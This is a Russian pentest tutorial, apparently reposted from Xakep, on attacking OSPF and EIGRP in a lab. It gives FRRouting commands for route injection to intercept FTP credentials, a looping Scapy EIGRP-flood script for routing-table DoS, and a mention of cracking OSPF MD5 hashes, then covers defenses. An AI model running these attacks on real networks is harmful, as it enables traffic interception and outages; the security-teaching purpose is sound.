Хакер - Routing nightmare. Как пентестить протоколы динамической маршрутизации OSPF и EIGRP

Хакер - Routing nightmare. Как пентестить протоколы динамической маршрутизации OSPF и EIGRP

hacker_frei

https://t.me/hacker_frei

C0ldheim

Содержание статьи

  • Проблематика, импакт и вооружение
  • Протокол OSPF
  • Протокол EIGRP
  • Импакт
  • Вооружение с FRRouting
  • Настройка FRRouting
  • Виртуальная лаборатория
  • Инъекция маршрутов и перехват трафика в домене OSPF
  • Инъекция маршрутов и переполнение таблицы маршрутизации в домене EIGRP
  • Меры предотвращения атак на домены маршрутизации
  • Выводы

Вол­шебс­тво и оча­рова­ние про­токо­лов динами­чес­кой мар­шру­тиза­ции быва­ет обманчи­вым — адми­нис­тра­торы им доверя­ются и могут забыть о нас­трой­ке защит­ных средств. В этой статье я рас­ска­жу, какие кош­мары могут воз­никнуть в сети, если админ не позабо­тил­ся о безопас­ности доменов роутин­га OSPF и EIGRP.

WARNING

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

Ди­нами­чес­кая мар­шру­тиза­ция при­меня­ется в каж­дой круп­ной кор­поратив­ной сети. Роуте­ры в сети обме­нива­ются мар­шрут­ной информа­цией друг с дру­гом авто­мати­чес­ки, что­бы адми­нис­тра­тор сети не обхо­дил их и не про­писы­вал мар­шру­ты вруч­ную. В боль­шинс­тве слу­чаев он не тро­гает и нас­трой­ки защит­ных механиз­мов. И это откры­вает дорогу для экс­плу­ата­ции.

INFO

Имей в виду, что про­токо­лы OSPF и EIGRP отно­сят­ся к клас­су про­токо­лов внут­ридомен­ной динами­чес­кой мар­шру­тиза­ции (IGP). То есть эти про­токо­лы исполь­зуют­ся для переда­чи мар­шрут­ной информа­ции в пре­делах одной авто­ном­ной сис­темы (AS). Для удобс­тва можешь пред­став­лять ее себе как сеть некото­рой орга­низа­ции.

ПРОБЛЕМАТИКА, ИМПАКТ И ВООРУЖЕНИЕ

Протокол OSPF

OSPF (Open Shortest Path First) отно­сит­ся к типу про­токо­лов, осно­ван­ных на отсле­жива­нии сос­тояния канала. Ата­ковать OSPF нем­ного слож­нее, чем его родс­твен­ника EIGRP. Помешать это­му могут две вещи:

  • на­личие нес­коль­ких зон OSPF. Инже­неры могут спро­екти­ровать домен мар­шру­тиза­ции OSPF с нес­коль­кими зонами, что­бы умень­шить наг­рузку на вычис­литель­ные ресур­сы мар­шру­тиза­торов. Необ­ходимо учи­тывать это в домене мар­шру­тиза­ции OSPF, как и воз­можность про­хож­дения пакетов меж­ду эти­ми зонами. Нап­ример, если ты собира­ешь­ся выпол­нять инъ­екции мар­шру­тов;
  • от­сутс­твие реак­ции на зап­росы. Для под­клю­чения к домену мар­шру­тиза­ции необ­ходимо, что­бы лож­ный мар­шру­тиза­тор генери­ровал и при­нимал сооб­щения Hello от соседей и вос­про­изво­дил уста­нов­ление соседс­тва с ними. Ина­че лож­ный роутер будет приз­нан «мер­твым» и выпадет из домена мар­шру­тиза­ции, делая невоз­можны­ми даль­нейшие шаги со сто­роны ата­кующе­го.
Ус­танов­ление соседс­тва OSPF

Оп­тималь­ный вари­ант для ата­ки на домен OSPF — это получе­ние кон­тро­ля над легитим­ным мар­шру­тиза­тором в сети. Как вари­ант мож­но на сво­ей сто­роне соз­дать «злой» вир­туаль­ный роутер и под­клю­чать­ся к домену. Одна­ко, что­бы под­клю­чить­ся к домену мар­шру­тиза­ции, ата­кующий дол­жен про­вес­ти ана­лиз муль­тикас­товых пакетов OSPF и изу­чить сле­дующие парамет­ры в пакете:

  • OSPF Hello Interval;
  • OSPF Dead Interval;
  • на­личие аутен­тифика­ции.

Да­же нес­мотря на то, что OSPF может быть защищен с помощью аутен­тифика­ции и пароли хра­нят­ся в виде хешей MD5, у ата­кующе­го оста­ется шанс подоб­рать их.

Взло­ман­ный пароль от домена OSPF с помощью инс­тру­мен­та Loki

Протокол EIGRP

EIGRP (Enhanced Interior Gateway Routing Protocol) отно­сит­ся к клас­су дис­танци­онно‑век­торных про­токо­лов. Он был раз­работан инже­нера­ми Cisco Systems в качес­тве замены про­токо­ла IGRP. Мар­шру­тиза­торы EIGRP обме­нива­ются мар­шрут­ной информа­цией, исполь­зуя алго­ритм диф­фузно­го обновле­ния (DUAL) для рас­чета мар­шру­тов в рам­ках одной AS. EIGRP хра­нит в таб­лице мар­шру­тиза­ции все дос­тупные резер­вные мар­шру­ты к сетям наз­начения, что поз­воля­ет в край­нем слу­чае быс­тро перек­лючить­ся на запас­ной мар­шрут.

Ус­танов­ление соседс­тва EIGRP

INFO

Зна­ешь ли ты, что про­токол EIGRP боль­ше не проп­риетар­ный про­токол Cisco и теперь открыт для дру­гих вен­доров сетево­го обо­рудо­вания? EIGRP стал откры­тым стан­дартом в 2013 году, а информа­цион­ный документ RFC 7868 был опуб­ликован в 2016 году.

Что­бы зло­умыш­ленник смог под­клю­чить­ся к домену мар­шру­тиза­ции EIGRP, он дол­жен знать номер авто­ном­ной сис­темы. Узнать его он может, нап­ример, из дам­па тра­фика в Wireshark. В отли­чие от домена OSPF, который может быть раз­делен на нес­коль­ко зон мар­шру­тиза­ции, авто­ном­ная сис­тема EIGRP плос­кая, то есть, если ты про­ведешь инъ­екцию мар­шру­та, ско­рее все­го, твой мар­шрут рас­простра­нит­ся по все­му домену.

Импакт

Ата­ки на динами­чес­кую мар­шру­тиза­цию мож­но раз­бить на три типа:

  1. Пе­речис­ление сети. Если зло­умыш­ленник под­клю­чит­ся к домену мар­шру­тиза­ции, то он смо­жет про­вес­ти сетевую раз­ведку и обна­ружить некото­рые под­сети. Это дос­таточ­но полез­ный трюк, пос­коль­ку клас­сичес­кое ска­ниро­вание, нап­ример с исполь­зовани­ем того же Nmap, идет дол­го. Не говоря уже о том, что могут сра­ботать сис­темы безопас­ности IDS/IPS. Прос­то при­соеди­нив­шись к домену мар­шру­тиза­ции, мы смо­жем получить информа­цию о под­сетях, анон­сиру­емых сосед­ски­ми мар­шру­тиза­тора­ми. Заметь, этот спо­соб вов­се не гаран­тиру­ет того, что ты смо­жешь обна­ружить все под­сети в орга­низа­ции. Но может при­вес­ти тебя к более лег­кой победе во вре­мя пен­теста.
  2. MITM (man in the middle). Суть этой ата­ки зак­люча­ется в инъ­екции мар­шру­та, что­бы затем перех­ватить тра­фик с целево­го хос­та или же сети. Пос­ле под­клю­чения к домену мар­шру­тиза­ции ты можешь в домене сде­лать анонс, который бук­валь­но выг­лядит так: «Ува­жаемые, хост под IP-адре­сом 192.168.1.43/24 теперь дос­тупен через меня, 192.168.1.150». Мар­шру­тиза­торы в домене при­мут новую информа­цию и помес­тят анон­сирован­ный тобой мар­шрут в таб­лицу мар­шру­тиза­ции. Сто­ит толь­ко учи­тывать, что в кон­тек­сте мар­шру­тиза­ции есть понятие мет­рики. Если твой мар­шрут по цене пути будет хуже, чем осталь­ные, то он не попадет в таб­лицу мар­шру­тиза­ции. Почему? Потому что в таб­лице мар­шру­тиза­ции хра­нят­ся толь­ко луч­шие пути до сетей наз­начения.
  3. DoS (Denial of Service). Перепол­нение таб­лицы мар­шру­тиза­ции. При этом у роуте­ра исто­щают­ся все ресур­сы цен­траль­ного про­цес­сора и опе­ратив­ной памяти. При перепол­нении таб­лицы мар­шру­тиза­ции добавить новый легитим­ный мар­шрут ста­нет невоз­можно. Мар­шру­тиза­тор не смо­жет добавить к себе мар­шрут новой появив­шей­ся сети.

Вооружение с FRRouting

FRRouting — это опен­сор­сное решение, пред­назна­чен­ное для соз­дания вир­туаль­ного мар­шру­тиза­тора в Unix/Linux. FRRouting поз­воля­ет реали­зовать вир­туаль­ный мар­шру­тиза­тор, под­держи­вающий про­токо­лы BGP, OSPF, EIGRP, RIP и дру­гие.

С помощью FRRouting мы смо­жем под­нять на сво­ей сто­роне «злой» мар­шру­тиза­тор, запус­тить роутинг и под­клю­чить­ся к целево­му домену мар­шру­тиза­ции. Зачем это нуж­но? Нап­ример, если мы про­ведем ту же инъ­екцию мар­шру­тов без под­клю­чения к домену и уста­нов­ления соседс­тва, то анон­сиру­емые нами мар­шру­ты не попадут в таб­лицу мар­шру­тиза­ции соседей. Они прос­то уле­тят в никуда.

WWW

У FRRouting есть отличная до­кумен­тация по уста­нов­ке и нас­трой­ке. Советую озна­комить­ся.

Настройка FRRouting

Для начала нам нуж­но акти­виро­вать работу демонов в кон­фигура­цион­ном фай­ле daemons. Нас инте­ресу­ют демоны ospfd и eigrpd. Так­же необ­ходимо акти­виро­вать работу демона staticd, что­бы редис­три­буция нас­тра­иваемых ста­тичес­ких мар­шру­тов работа­ла кор­рек­тно.

nano /etc/frr/daemons

ospfd=yes

eigrpd=yes

staticd=yes

Да­лее нуж­но наз­начить пароль для под­клю­чения к панели управле­ния мар­шру­тиза­тором через линии VTY:

nano /etc/frr/frr.conf

password letm3in

Так­же необ­ходимо раз­решить фор­вардинг тра­фика. По умол­чанию в дис­три­бути­вах Linux он отклю­чен.

sudo sysctl -w net.ipv4.ip_forward=1

За­пус­каем демон frr.

systemctl start frr

Сос­тояние демона FRRouting

С помощью коман­ды vtysh попада­ем в панель управле­ния вир­туаль­ным мар­шру­тиза­тором FRRouting.

Вход в панель управле­ния

ВИРТУАЛЬНАЯ ЛАБОРАТОРИЯ

В качес­тве сетево­го полиго­на для прак­тичес­кого раз­бора атак выс­тупят сети, изоб­ражен­ные на схе­мах ниже.

Сеть с исполь­зовани­ем OSPF
Сеть с исполь­зовани­ем EIGRP
IP-адре­сация полиго­на

В кон­тек­сте ата­ки на OSPF я рас­смот­рю инъ­екцию мар­шру­та с перех­ватом тра­фика. Что каса­ется EIGRP — раз­берем раз­рушитель­ную ата­ку с перепол­нени­ем таб­лицы мар­шру­тиза­ции (что­бы не демонс­три­ровать одну и ту же ата­ку и рас­смот­реть два вари­анта нападе­ния). OSPF мож­но ата­ковать так же, как и EIGRP. Одна­ко сто­ит учи­тывать, что раз­рушитель­ные ата­ки в про­дак­шене менее прак­тичны. Думаю, такой сце­нарий будет полезен для Red Team в качес­тве отвле­кающе­го манев­ра.

ИНЪЕКЦИЯ МАРШРУТОВ И ПЕРЕХВАТ ТРАФИКА В ДОМЕНЕ OSPF

Для успешно­го про­веде­ния инъ­екции мар­шру­та нам необ­ходимо под­клю­чить­ся к домену мар­шру­тиза­ции OSPF и объ­явить сеть. Ука­зыва­ем нулевую зону (area 0).

c0ldheim@kali:~$ sudo vtysh

kali# conf t

kali(config)# router ospf

kali(config-router)# network 172.20.20.50/32 area 0.0.0.0

Дамп тра­фика пос­ле под­клю­чения к домену OSPF

Вклю­чаем редис­три­буцию ста­тичес­ких мар­шру­тов с наимень­шей мет­рикой, что­бы у внед­ренно­го мар­шру­та была самая низ­кая сто­имость.

kali(config-router)# redistribute static metric 0

Анон­сиру­ем в домене OSPF ста­тичес­кий мар­шрут. «Хост под IP-адре­сом 172.20.20.20 теперь дос­тупен через меня — 172.20.20.50».

kali(config)# ip route 172.20.20.20/32 eth0

Дамп тра­фика пос­ле инъ­екции в домене OSPF

Про­верим таб­лицу мар­шру­тиза­ции на роуте­ре R2.

R2#show ip route

Codes: L - local, C - connected, S - static, R - RIP, M - mobile, B - BGP

D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area

N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2

E1 - OSPF external type 1, E2 - OSPF external type 2

i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2

ia - IS-IS inter area, * - candidate default, U - per-user static route

o - ODR, P - periodic downloaded static route, H - NHRP, l - LISP

a - application route

+ - replicated route, % - next hop override, p - overrides from PfR

Gateway of last resort is not set

10.0.0.0/8 is variably subnetted, 2 subnets, 2 masks

C 10.1.1.0/24 is directly connected, GigabitEthernet0/0

L 10.1.1.2/32 is directly connected, GigabitEthernet0/0

172.20.0.0/16 is variably subnetted, 4 subnets, 2 masks

C 172.20.20.0/24 is directly connected, GigabitEthernet0/2

O E2 172.20.20.20/32

[110/0] via 172.20.20.50, 00:02:27, GigabitEthernet0/2

L 172.20.20.254/32 is directly connected, GigabitEthernet0/2

O 172.20.30.0/24 [110/2] via 10.1.1.3, 01:08:17, GigabitEthernet0/0

R2#

Как видим, инъ­екция мар­шру­та прош­ла успешно. Теперь мар­шру­тиза­тор R2 счи­тает, что хост по адре­су 172.20.20.20 дос­тупен через нашу ата­кующую машину.

Даль­ше поп­робу­ем с хос­та DevOps под­клю­чить­ся к сер­веру FTP по адре­су 172.20.30.100.

Под­клю­чение к FTP

В ито­ге мы смог­ли вкли­нить­ся меж­ду хос­том и сер­вером FTP и перех­ватить незашиф­рован­ные учет­ные дан­ные.

Дамп незашиф­рован­ного FTP-тра­фика

ИНЪЕКЦИЯ МАРШРУТОВ И ПЕРЕПОЛНЕНИЕ ТАБЛИЦЫ МАРШРУТИЗАЦИИ В ДОМЕНЕ EIGRP

Для начала нуж­но под­клю­чить­ся к авто­ном­ной сис­теме EIGRP и объ­явить сеть.

c0ldheim@kali:~$ sudo vtysh

kali# conf t

kali(config)# router eigrp 1

kali(config-router)# network 172.20.20.50/32

Дамп тра­фика пос­ле под­клю­чения к домену EIGRP

В этот раз для инъ­екции мар­шру­тов EIGRP я буду исполь­зовать сетевую биб­лиоте­ку Scapy.

c0ldheim@kali:~$ sudo scapy3

>>> from scapy.contrib.eigrp import * # Импорт модуля для работы с заголовками протокола EIGRP

>>> frame = Ether(dst="01:00:5e:00:00:0a") # Сборка кадра Ethernet с MAC-адресом назначения мультикастовой рассылки

>>> ip = IP(src="172.20.20.50", dst="224.0.0.10") # Сборка IP-пакета с IP-адресом назначения мультикастовой рассылки EIGRP

>>> eigrp = EIGRP(opcode=1, asn=1, seq=0, ack=0, tlvlist=[EIGRPExtRoute(dst=RandIP(), nexthop="172.20.20.50")]) # Сборка пакета EIGRP с опцией Update

>>> crafted = frame/ip/eigrp # Сборка трех слоев воедино

>>> sendp(crafted, loop=1, iface="eth0") # Зациклить бесконечную отправку собранного вредоносного пакета EIGRP

Дамп тра­фика пос­ле инъ­екции в домене EIGRP

Ес­ли мы вой­дем в панель управле­ния мар­шру­тиза­тора, то уви­дим, что наг­рузка на цен­траль­ный про­цес­сор зна­читель­но под­нялась — до 87%.

Наг­рузка ЦП в момент перепол­нения
Таб­лица мар­шру­тиза­ции пос­ле перепол­нения

R2#show ip route summary

IP routing table name is default (0x0)

IP routing table maximum-paths is 32

Route Source Networks Subnets Replicates Overhead Memory (bytes)

connected 0 6 0 408 1080

static 1 0 0 68 180

application 0 0 0 0 0

eigrp 1 481 3088 0 328348 642420

internal 1192 358080

Total 1674 3094 0 328824 1001760

При перепол­нении таб­лицы мар­шру­тиза­ции роутер не смо­жет помес­тить в свою таб­лицу мар­шру­тиза­ции новые мар­шру­ты.

МЕРЫ ПРЕДОТВРАЩЕНИЯ АТАК НА ДОМЕНЫ МАРШРУТИЗАЦИИ

Ис­поль­зование пас­сивных интерфей­сов. Нас­трой­ка пас­сивных интерфей­сов в кон­тек­сте динами­чес­кой мар­шру­тиза­ции поз­воля­ет роуте­ру зап­ретить рас­сылать объ­явле­ния через некото­рые интерфей­сы. По умол­чанию без нас­трой­ки пас­сивных интерфей­сов он рас­сыла­ет объ­явле­ния во все интерфей­сы, а это под­верга­ет домен мар­шру­тиза­ции боль­шому рис­ку. Легитим­ный поль­зователь, находя­щий­ся в сети, может точ­но так же под­нять вир­туаль­ный мар­шру­тиза­тор, как сде­лали мы с тобой, и ата­ковать домен мар­шру­тиза­ции.

INFO

В этой статье я ори­енти­руюсь на прин­ципы и коман­ды Cisco IOS CLI.

При­мер нас­трой­ки для OSPF:

R2#conf t # Вход в режим глобальной конфигурации

R2(config)# router ospf 1 # Вход в режим конфигурации OSPF под процессом 1

R2(config-router)# passive-interface GigabitEthernet 0/2 # Назначаем интерфейс пассивным

При­мер нас­трой­ки для EIGRP:

R2#conf t # Вход в режим глобальной конфигурации

R2(config)# router eigrp 1 # Вход в режим конфигурации EIGRP автономной системы 1

R2(config-router)# passive-interface GigabitEthernet 0/2 # Назначаем интерфейс пассивным

Ис­поль­зование аутен­тифика­ции. При­мене­ние аутен­тифика­ции в доменах мар­шру­тиза­ции поз­воля­ет обес­печить воз­можность вхо­да толь­ко авто­ризо­ван­ным, легитим­ным мар­шру­тиза­торам. Одна­ко аутен­тифика­ция нас­тра­ивает­ся с помощью паролей. Если ты собира­ешь­ся защитить домен мар­шру­тиза­ции, исполь­зуя аутен­тифика­цию, обя­затель­но позаботь­ся, что­бы эти пароли были дос­таточ­но стой­кими. Они хеширу­ются с помощью крип­тогра­фичес­ких хеш‑фун­кций, и зло­умыш­ленник смо­жет счи­тать зна­чения хешей из дам­па тра­фика и вскрыть пароль перебо­ром. С получен­ным паролем он без тру­да под­клю­чит­ся к домену мар­шру­тиза­ции.

При­мер нас­трой­ки аутен­тифика­ции для OSPF с исполь­зовани­ем MD5:

R2#conf t # Вход в режим глобальной конфигурации

R2(config)# interface GigabitEthernet 0/1 # Вход в режим конфигурации интерфейса

R2(config-if)# ip ospf authentication message-digest # Включение аутентификации по MD5

R2(config-if)# ip ospf message-digest-key 1 md5 y0ur_f4ult # Назначение пароля с key-id 1

При­мер нас­трой­ки аутен­тифика­ции для EIGRP с исполь­зовани­ем key-chain и MD5:

R2#conf t # Вход в режим глобальной конфигурации

R2(config)# key chain SecureRouting # Создание ключевой цепочки под названием SecureRouting

R2(config-keychain)# key 1 # Создание первого ключа

R2(config-keychain-key)# key-string y0ur_f4ult # Назначение пароля

R2(config-keychain-key)# accept-lifetime 20:00:00 mar 1 2022 20:00:00 mar 2 2022 # Указание промежутка времени, в течение которого маршрутизатор будет принимать ключ от соседа

R2(config-keychain-key)# send-lifetime 20:00:00 mar 1 2022 20:00:00 mar 2 2022 # Указание промежутка времени, в течение которого маршрутизатор будет посылать ключ соседу

R2(config-keychain)# key 2 # Когда закончится действие первого ключа, автоматически будет использован второй ключ. Создаем второй ключ

R2(config-keychain-key)# key-string y0ur_des1re # Назначение пароля

R2(config-keychain-key)# accept-lifetime 20:00:00 mar 2 2022 20:00:00 mar 3 2022 # Указание промежутка времени, в течение которого маршрутизатор будет принимать ключ от соседа

R2(config-keychain-key)# send-lifetime 20:00:00 mar 2 2022 20:00:00 mar 3 2022 # Указание промежутка времени, в течении которого маршрутизатор будет посылать ключ соседу

R2(config)# interface GigabitEthernet 0/1 # Вход в режим конфигурации интерфейса

R2(config-if)# ip authentication mode eigrp 1 md5 # Включение аутентификации по MD5 для автономной системы EIGRP 1

R2(config-if)# ip authentication key-chain eigrp 1 SecureRouting # Назначение ключевой цепочки, которая будет использоваться для аутентификации в автономной системе EIGRP.

ВЫВОДЫ

В этой статье я разоб­рал сце­нарий атак на про­токо­лы динами­чес­кой мар­шру­тиза­ции OSPF и EIGRP. Исхо­дя из лич­ного опы­та тес­тирова­ния на про­ник­новение компь­ютер­ных сетей, ска­жу, что в боль­шинс­тве слу­чаев сетевые адми­нис­тра­торы оставля­ют без вни­мания кон­фигура­цию защит­ных механиз­мов про­токо­лов. Чаще все­го встре­чает­ся кон­фигура­ция OSPF/EIGRP без аутен­тифика­ции и без нас­трой­ки пас­сивных интерфей­сов. Такое отно­шение к доменам мар­шру­тиза­ции под­верга­ет безопас­ность локаль­ной сети боль­шому рис­ку.

Пен­тесте­ры пос­ле проч­тения этой статьи дол­жны взять себе на замет­ку опи­сан­ные ата­ки, а сетевые адми­нис­тра­торы смо­гут сде­лать домен мар­шру­тиза­ции безопас­нее.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page